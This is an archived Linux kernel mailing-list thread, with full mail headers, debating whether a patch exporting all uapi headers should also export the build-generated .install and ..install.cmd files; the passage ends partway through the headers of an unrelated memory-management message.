Newsgroups: gmane.linux.ports.alpha,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: Re: [PATCH v2 7/7] uapi: export all headers under uapi directories
Date: Thu, 12 Jan 2017 16:52:57 +0100
Organization: 6WIND
Lines: 38
Approved: news@gmane.org
Message-ID: <464a1323-4450-e563-ff59-9e6d57b75959@6wind.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
 <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
 <20170109125638.GA15506@infradead.org>
Reply-To: nicolas.dichtel@6wind.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1484236417 17119 195.159.176.226 (12 Jan 2017 15:53:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Jan 2017 15:53:37 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: arnd@arndb.de, mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-ar
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Jan 12 16:53:29 2017
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1cRhgZ-0004mE-M8
	for lnx-linux-alpha@m.gmane.org; Thu, 12 Jan 2017 16:53:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751146AbdALPxL (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Thu, 12 Jan 2017 10:53:11 -0500
Original-Received: from mail-lf0-f42.google.com ([209.85.215.42]:34226 "EHLO
        mail-lf0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750873AbdALPxJ (ORCPT
        <rfc822;linux-alpha@vger.kernel.org>);
        Thu, 12 Jan 2017 10:53:09 -0500
Original-Received: by mail-lf0-f42.google.com with SMTP id v186so15933402lfa.1
        for <linux-alpha@vger.kernel.org>; Thu, 12 Jan 2017 07:53:05 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=6wind-com.20150623.gappssmtp.com; s=20150623;
        h=reply-to:subject:references:to:cc:from:organization:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=1XRdB6+woEoPIFIzdROV46XkV3VusOtCKknGiL09tVE=;
        b=qQiG+T9eXnUKXgRcmv1xurbYPI5bckmjW/HQqjnLycnlFZtWomM8iZPeOtq7glWUuY
         h4RhWcyldnUhY6m//U48ndkzAqlu77EbdnZPKcgi80TWKSEx1CuKb4SsOLMm5T6/KxAr
         4YdD/zWuleyPSLxbPjCPoodLJid/ZPgKsH2G1XyIzG5dWt6Gebuv8pX8KzdrPOsM2t4e
         a8kJAtxWBYyCmZPYBeisRkxSpCREDxSgvH+F8YYjh33QnnavdU4szKtvpecOoXqV9GKE
         GOTQgiCPJLHuSatc4XoPd3bqP9SrZzpgiCxkMR579Evj2EXQOqJ70tlHnx1Ih7EwuB3M
         QpSA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:reply-to:subject:references:to:cc:from
         :organization:message-id:date:user-agent:mime-version:in-reply-to
         :content-transfer-encoding;
        bh=1XRdB6+woEoPIFIzdROV46XkV3VusOtCKknGiL09tVE=;
        b=poIzJ5C5y4XO/VtgY8XEmiXDlejAxGVZNeEUjjDXVsdJBhLPab39nnmO3QvybyZcIo
         19BueTtK273X0zCaHHOM+P2EG6rxy87zyD9aIjnhZOi4pZXrbEXhD0XMkrOiIYxH9eu2
         4k8qblNgI9VNdz2RYpz/+cCZitFPFgRI32pJC38+Kj1dKgGY2O29IdtPdlHpT8mkwRzc
         JygImyzR84ChM8KW3tXlRfhCck2ChZIYMRAm8+oh+x9KBK2hCI97L252DergPe7rYI4F
         dg8sy4jBif73v6N0BumL6WvmgsqWJrhcVaMNmhihCIEbaGgQedIUGe3nkKqp4eKGyvew
         g2Mg==
X-Gm-Message-State: AIkVDXJLUQYfUdN1eAWequwNjd4QDgVu5fh4MvH4ooqgY9R/uei5r0D5dLRXMacJXNrOxA0A
X-Received: by 10.25.21.142 with SMTP id 14mr1528399lfv.138.1484236384124;
        Thu, 12 Jan 2017 07:53:04 -0800 (PST)
Original-Received: from ?IPv6:2a01:e35:8b63:dc30:ec62:e68a:f008:ebc2? ([2a01:e35:8b63:dc30:ec62:e68a:f008:ebc2])
        by smtp.gmail.com with ESMTPSA id j11sm2021068lfd.23.2017.01.12.07.52.58
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 12 Jan 2017 07:53:03 -0800 (PST)
In-Reply-To: <20170109125638.GA15506@infradead.org>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4028 gmane.linux.kbuild.devel:16296 gmane.linux.documentation:44269 gmane.linux.kernel:2386597 gmane.linux.kernel.arc:2003 gmane.linux.ports.arm.kernel:550072 gmane.linux.ports.hexagon:1104 gmane.linux.ports.ia64:27586 gmane.linux.kernel.metag:1227 gmane.linux.ports.mips.general:57449 gmane.linux.ports.parisc:27177 gmane.linux.ports.ppc64.devel:137246 gmane.linux.ports.sh.devel:55021 gmane.linux.ports.sparc:24358 gmane.linux.kernel.cross-arch:34769 gmane.comp.video.dri.devel:176126 gmane.linux.network:449754 gmane.linux.drivers.video-input-infrastructure:111868 gmane.linux.kernel.mmc:42170 gmane.comp.security.firewalls.netfilter.devel:66840 gmane.linux.nfs:81410 gmane.linux.raid:55360 gmane.linux.kernel.spi.devel:26094 gmane.linux.drivers.mtd:71301 gmane.linux.drivers.rdma:45497 gmane.linux.scsi.open-fcoe.devel:13008 gmane.linux.alsa.devel:163104
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4028>

Le 09/01/2017  13:56, Christoph Hellwig a crit :
> On Fri, Jan 06, 2017 at 10:43:59AM +0100, Nicolas Dichtel wrote:
>> Regularly, when a new header is created in include/uapi/, the developer
>> forgets to add it in the corresponding Kbuild file. This error is usually
>> detected after the release is out.
>>
>> In fact, all headers under uapi directories should be exported, thus it's
>> useless to have an exhaustive list.
>>
>> After this patch, the following files, which were not exported, are now
>> exported (with make headers_install_all):
> 
> ... snip ...
> 
>> linux/genwqe/.install
>> linux/genwqe/..install.cmd
>> linux/cifs/.install
>> linux/cifs/..install.cmd
> 
> I'm pretty sure these should not be exported!
> 
Those files are created in every directory:
$ find usr/include/ -name '\.\.install.cmd' | wc -l
71
$ find usr/include/ -name '\.install' | wc -l
71

See also
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/scripts/Makefile.headersinst#n32


Thank you,
Nicolas
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jan Engelhardt <jengelh@inai.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.raid,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: Re: [PATCH v2 7/7] uapi: export all headers under uapi directories
Date: Thu, 12 Jan 2017 17:28:13 +0100 (CET)
Lines: 32
Approved: news@gmane.org
Message-ID: <alpine.LSU.2.20.1701121727180.19188@erq.vanv.qr>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com> <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com> <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com> <20170109125638.GA15506@infradead.org>
 <464a1323-4450-e563-ff59-9e6d57b75959@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1484238523 6921 195.159.176.226 (12 Jan 2017 16:28:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Jan 2017 16:28:43 +0000 (UTC)
User-Agent: Alpine 2.20 (LSU 67 2015-01-07)
Cc: Christoph Hellwig <hch@infradead.org>, arnd@arndb.de,
        mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org,
To: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Jan 12 17:28:35 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cRiEq-0000ww-Ez
	for sgi-linux-mips@gmane.org; Thu, 12 Jan 2017 17:28:32 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:52194 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993919AbdALQ2en2yeI (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 12 Jan 2017 17:28:34 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 12 Jan 2017 17:28:20 +0100 (CET)
Original-Received: from ares40.inai.de ([IPv6:2a01:4f8:141:23c8::40]:44994 "EHLO
        ares41.inai.de" rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org
        with ESMTP id S23993920AbdALQ2OB9wmI (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 12 Jan 2017 17:28:14 +0100
Original-Received: by ares41.inai.de (Postfix, from userid 25121)
        id 83D0C720881F; Thu, 12 Jan 2017 17:28:13 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
        by ares41.inai.de (Postfix) with ESMTP id 695F880D55A0;
        Thu, 12 Jan 2017 17:28:13 +0100 (CET)
In-Reply-To: <464a1323-4450-e563-ff59-9e6d57b75959@6wind.com>
X-archive-position: 56282
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: jengelh@inai.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:57450 gmane.linux.kbuild.devel:16297 gmane.linux.documentation:44273 gmane.linux.kernel:2386632 gmane.linux.ports.alpha:4029 gmane.linux.kernel.arc:2004 gmane.linux.ports.arm.kernel:550092 gmane.linux.ports.hexagon:1105 gmane.linux.ports.ia64:27587 gmane.linux.kernel.metag:1228 gmane.linux.ports.parisc:27178 gmane.linux.ports.ppc64.devel:137247 gmane.linux.ports.sh.devel:55022 gmane.linux.ports.sparc:24359 gmane.linux.kernel.cross-arch:34771 gmane.comp.video.dri.devel:176136 gmane.linux.network:449772 gmane.linux.drivers.video-input-infrastructure:111869 gmane.linux.kernel.mmc:42172 gmane.comp.security.firewalls.netfilter.devel:66841 gmane.linux.nfs:81412 gmane.linux.raid:55361 gmane.linux.kernel.spi.devel:26095 gmane.linux.drivers.mtd:71302 gmane.linux.drivers.rdma:45498 gmane.linux.scsi.open-fcoe.devel:13009 gmane.linux.alsa.devel:163106
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/57450>

On Thursday 2017-01-12 16:52, Nicolas Dichtel wrote:

>Le 09/01/2017 à 13:56, Christoph Hellwig a écrit :
>> On Fri, Jan 06, 2017 at 10:43:59AM +0100, Nicolas Dichtel wrote:
>>> Regularly, when a new header is created in include/uapi/, the developer
>>> forgets to add it in the corresponding Kbuild file. This error is usually
>>> detected after the release is out.
>>>
>>> In fact, all headers under uapi directories should be exported, thus it's
>>> useless to have an exhaustive list.
>>>
>>> After this patch, the following files, which were not exported, are now
>>> exported (with make headers_install_all):
>> 
>> ... snip ...
>> 
>>> linux/genwqe/.install
>>> linux/genwqe/..install.cmd
>>> linux/cifs/.install
>>> linux/cifs/..install.cmd
>> 
>> I'm pretty sure these should not be exported!
>> 
>Those files are created in every directory:
>$ find usr/include/ -name '\.\.install.cmd' | wc -l
>71

That still does not mean they should be exported.

Anything but headers (and directories as a skeleton structure) is maximally suspicious.



From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.linux.raid,gmane.linux.kbuild.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.comp.video.dri.devel,gmane.linux.network,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kernel.mmc,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.nfs,gmane.linux.kernel.spi.devel,gmane.linux.drivers.mtd,gmane.linux.drivers.rdma,gmane.linux.scsi.open-fcoe.devel,gmane.linux.alsa.devel
Subject: Re: [PATCH v2 7/7] uapi: export all headers under uapi directories
Date: Thu, 12 Jan 2017 17:32:09 +0100
Organization: 6WIND
Lines: 43
Approved: news@gmane.org
Message-ID: <9d68af8a-a609-d7b1-58a9-f1155313b077@6wind.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
 <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
 <20170109125638.GA15506@infradead.org>
 <464a1323-4450-e563-ff59-9e6d57b75959@6wind.com>
 <alpine.LSU.2.20.1701121727180.19188@erq.vanv.qr>
Reply-To: nicolas.dichtel@6wind.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1484238751 12411 195.159.176.226 (12 Jan 2017 16:32:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Jan 2017 16:32:31 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: Christoph Hellwig <hch@infradead.org>, arnd@arndb.de,
        mmarek@suse.com, linux-kbuild@vger.kernel.org,
        linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        uclinux-h8-devel@lists.sourceforge.jp,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list@redhat.com,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org,
To: Jan Engelhardt <jengelh@inai.de>
Original-X-From: linux-raid-owner@vger.kernel.org Thu Jan 12 17:32:23 2017
Return-path: <linux-raid-owner@vger.kernel.org>
Envelope-to: linux-raid@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-raid-owner@vger.kernel.org>)
	id 1cRiIY-0002XZ-Ao
	for linux-raid@m.gmane.org; Thu, 12 Jan 2017 17:32:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751113AbdALQcZ (ORCPT <rfc822;linux-raid@m.gmane.org>);
        Thu, 12 Jan 2017 11:32:25 -0500
Original-Received: from mail-lf0-f50.google.com ([209.85.215.50]:35230 "EHLO
        mail-lf0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751121AbdALQcS (ORCPT
        <rfc822;linux-raid@vger.kernel.org>); Thu, 12 Jan 2017 11:32:18 -0500
Original-Received: by mail-lf0-f50.google.com with SMTP id m78so16909056lfg.2
        for <linux-raid@vger.kernel.org>; Thu, 12 Jan 2017 08:32:17 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=6wind-com.20150623.gappssmtp.com; s=20150623;
        h=reply-to:subject:references:to:cc:from:organization:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=T5awhpMa40jOrPvwHDOg5UUPu0c/qcmDDSHB4Qa+v/4=;
        b=mRZtGZ9qwEnd9lo3BGbblTWJh9x/rwo05Ua3SWGwxdA5Ykyz50Cw4ftgMw8OmDBHWJ
         miXlv15easQsUk9sF/6cI9hCXj8RLTZQfQO4ag+ThGESBADVPGn5sGCJxnqPFA2dpXYf
         iPEjH8jui00wreY5MNeE+XF6BRwknfVDt225mp1RMj/gpiORIMNzTN6SOyPqzjslm3vq
         IFVig51ToomTgbpeOTAYbuoYbFdiOa7rVk2nhCPNvJzLTmTRmMvVPMFhBoXV+QiY26XQ
         7I63q3/YqpVI+jzL4CvGPYgOV+GrRdSpZwxtLg9tMbVJ3Hp2LCEZxBzzruHLie/CI6FA
         zo+w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:reply-to:subject:references:to:cc:from
         :organization:message-id:date:user-agent:mime-version:in-reply-to
         :content-transfer-encoding;
        bh=T5awhpMa40jOrPvwHDOg5UUPu0c/qcmDDSHB4Qa+v/4=;
        b=En8YdDNHV2AtUWOzXv9fZajqPcd0kiRFxo4v2V+MhYk2hKQs6ghRGgN5ErYk1kHA72
         gTDxBZ8eSWk7CePapFGIDctKpv+feBIpyODn/AmDPhMpt7kO37cnen0hOLjPwB8Dh+2u
         ilDX21S+vld1YEXSQpokzxS/li3WJdJxiZJ5UDX18SW8ztDxEt3rwTB8/f/pEopTOJtN
         /TEDoVrrsPVjttPgv5rBMMR/9slT2IzX2PnfBmoJGqHSwVnyL9dwXg9jTXKTPUECHp+a
         ZfyeSm3Z/rFwSrkmD5TkMAVeu6lqlA53jhvPoz/E/uv9j9auozMED+hicryDcywo4AAO
         eAjg==
X-Gm-Message-State: AIkVDXJgGwBdBDRmpPXiTqGb542wfsbeI9p7Tz9LJmkUO22b8k/gFPjN55+HzgwAmodoVA3E
X-Received: by 10.46.7.10 with SMTP id 10mr5946368ljh.60.1484238736309;
        Thu, 12 Jan 2017 08:32:16 -0800 (PST)
Original-Received: from ?IPv6:2a01:e35:8b63:dc30:ec62:e68a:f008:ebc2? ([2a01:e35:8b63:dc30:ec62:e68a:f008:ebc2])
        by smtp.gmail.com with ESMTPSA id i9sm2508334lfg.45.2017.01.12.08.32.10
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 12 Jan 2017 08:32:15 -0800 (PST)
In-Reply-To: <alpine.LSU.2.20.1701121727180.19188@erq.vanv.qr>
Original-Sender: linux-raid-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-raid.vger.kernel.org>
X-Mailing-List: linux-raid@vger.kernel.org
Xref: news.gmane.org gmane.linux.raid:55362 gmane.linux.kbuild.devel:16298 gmane.linux.documentation:44274 gmane.linux.kernel:2386636 gmane.linux.ports.alpha:4030 gmane.linux.kernel.arc:2005 gmane.linux.ports.arm.kernel:550093 gmane.linux.ports.hexagon:1106 gmane.linux.ports.ia64:27588 gmane.linux.kernel.metag:1229 gmane.linux.ports.mips.general:57451 gmane.linux.ports.parisc:27179 gmane.linux.ports.ppc64.devel:137248 gmane.linux.ports.sh.devel:55023 gmane.linux.ports.sparc:24360 gmane.linux.kernel.cross-arch:34772 gmane.comp.video.dri.devel:176137 gmane.linux.network:449773 gmane.linux.drivers.video-input-infrastructure:111870 gmane.linux.kernel.mmc:42173 gmane.comp.security.firewalls.netfilter.devel:66842 gmane.linux.nfs:81413 gmane.linux.kernel.spi.devel:26096 gmane.linux.drivers.mtd:71303 gmane.linux.drivers.rdma:45499 gmane.linux.scsi.open-fcoe.devel:13010 gmane.linux.alsa.devel:163107
Archived-At: <http://permalink.gmane.org/gmane.linux.raid/55362>

Le 12/01/2017 à 17:28, Jan Engelhardt a écrit :
> On Thursday 2017-01-12 16:52, Nicolas Dichtel wrote:
> 
>> Le 09/01/2017 à 13:56, Christoph Hellwig a écrit :
>>> On Fri, Jan 06, 2017 at 10:43:59AM +0100, Nicolas Dichtel wrote:
>>>> Regularly, when a new header is created in include/uapi/, the developer
>>>> forgets to add it in the corresponding Kbuild file. This error is usually
>>>> detected after the release is out.
>>>>
>>>> In fact, all headers under uapi directories should be exported, thus it's
>>>> useless to have an exhaustive list.
>>>>
>>>> After this patch, the following files, which were not exported, are now
>>>> exported (with make headers_install_all):
>>>
>>> ... snip ...
>>>
>>>> linux/genwqe/.install
>>>> linux/genwqe/..install.cmd
>>>> linux/cifs/.install
>>>> linux/cifs/..install.cmd
>>>
>>> I'm pretty sure these should not be exported!
>>>
>> Those files are created in every directory:
>> $ find usr/include/ -name '\.\.install.cmd' | wc -l
>> 71
> 
> That still does not mean they should be exported.
> 
> Anything but headers (and directories as a skeleton structure) is maximally suspicious.
> 
What I was trying to say is that I export those directories like other are.
Removing those files is not related to that series.


Regards,
Nicolas
--
To unsubscribe from this list: send the line "unsubscribe linux-raid" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Chris Metcalf <cmetcalf@mellanox.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.ia64,gmane.linux.ports.parisc
Subject: Re: [RFC PATCH 3/4] arch, mm: remove arch specific show_mem
Date: Thu, 12 Jan 2017 12:53:37 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <283030f8-bcfa-2948-4461-26d09f4a5bb0@mellanox.com>
References: <20170112131659.23058-1-mhocko@kernel.org>
 <20170112131659.23058-4-mhocko@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1484243644 29194 195.159.176.226 (12 Jan 2017 17:54:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 12 Jan 2017 17:54:04 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.6.0
Cc: Andrew Morton <akpm@linux-foundation.org>, Johannes Weiner
	<hannes@cmpxchg.org>, Mel Gorman <mgorman@suse.de>, David Rientjes
	<rientjes@google.com>, Michal Hocko <mhocko@suse.com>, Tony Luck
	<tony.luck@intel.com>, Fenghua Yu <fenghua.yu@intel.com>, "James E.J.
 Bottomley" <jejb@parisc-linux.org>, Helge Deller <deller@gmx.de>, "David S.
 Miller" <davem@davemloft.net>, Guan Xuetao <gxt@mprc.pku.edu.cn>,
	<linux-ia64@vger.kernel.org>, <linux-parisc@vger.kernel.org>
To: Michal Hocko <mhocko@kernel.org>, <linux-mm@kvack.org>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 12 18:53:56 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cRjZN-0006WD-06
	for glkm-linux-mm-2@m.gmane.org; Thu, 12 Jan 2017 18:53:49 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 5DF176B0253; Thu, 12 Jan 2017 12:53:53 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 567DF6B025E; Thu, 12 Jan 2017 12:53:53 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 3BA6C6B0260; Thu, 12 Jan 2017 12:53:53 -0500 (EST)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-pf0-f198.google.com (mail-pf0-f198.google.com [209.85.192.198])
	by kanga.kvack.org (Postfix) with ESMTP id EC1526B0253
	for <linux-mm@kvack.org>; Thu, 12 Jan 2017 12:53:52 -0500 (EST)
Original-Received: by mail-pf0-f198.google.com with SMTP id c73so64958328pfb.7
        for <linux-mm@kvack.org>; Thu, 12 Jan 2017 09:53:52 -0800 (PST)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:subject:to:references:cc:from
         :message-id:date:user-agent:mime-version:in-reply-to
         :content-transfer-encoding:spamdiagnosticoutput
         :spamdiagnosticmetadata;
